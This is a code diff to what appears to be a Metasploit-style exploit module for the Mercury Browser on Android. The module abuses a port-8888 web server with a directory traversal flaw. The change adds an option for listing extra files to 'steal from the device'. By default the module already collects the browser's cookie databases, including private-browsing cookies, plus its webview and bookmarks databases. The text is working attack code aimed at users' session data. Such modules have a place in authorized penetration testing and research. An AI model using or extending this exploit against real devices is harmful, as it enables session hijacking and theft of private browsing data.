@@ -19,6 +19,10 @@ def initialize(info = {})
19
19
private wifi manager activity, which starts a web server for Mercury on port 8888.
20
20
The webserver also suffers a directory traversal that allows remote access to
21
21
sensitive files.
22
+
23
+ By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
24
+ webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
25
+ ADDITIONAL_FILES datastore option to collect more files.
22
26
} ,
23
27
'Author' =>
24
28
[
@@ -34,7 +38,10 @@ def initialize(info = {})
34
38
]
35
39
) )
36
40
37
-
41
+ register_options (
42
+ [
43
+ OptString . new ( 'ADDITIONAL_FILES' , [ false , 'Additional files to steal from the device' ] )
44
+ ] , self . class )
38
45
end
39
46
40
47
def is_android? ( user_agent )
@@ -98,12 +105,18 @@ def uxss
98
105
end
99
106
100
107
def file_urls
101
- [
108
+ files = [
102
109
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db' ,
103
110
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db' ,
104
111
'/data/data/com.ilegendsoft.mercury/databases/webview.db' ,
105
112
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
106
113
]
114
+
115
+ if datastore [ 'ADDITIONAL_FILES' ]
116
+ files . concat ( datastore [ 'ADDITIONAL_FILES' ] . split )
117
+ end
118
+
119
+ files
107
120
end
108
121
109
122
def on_request_uri ( cli , req )
0 commit comments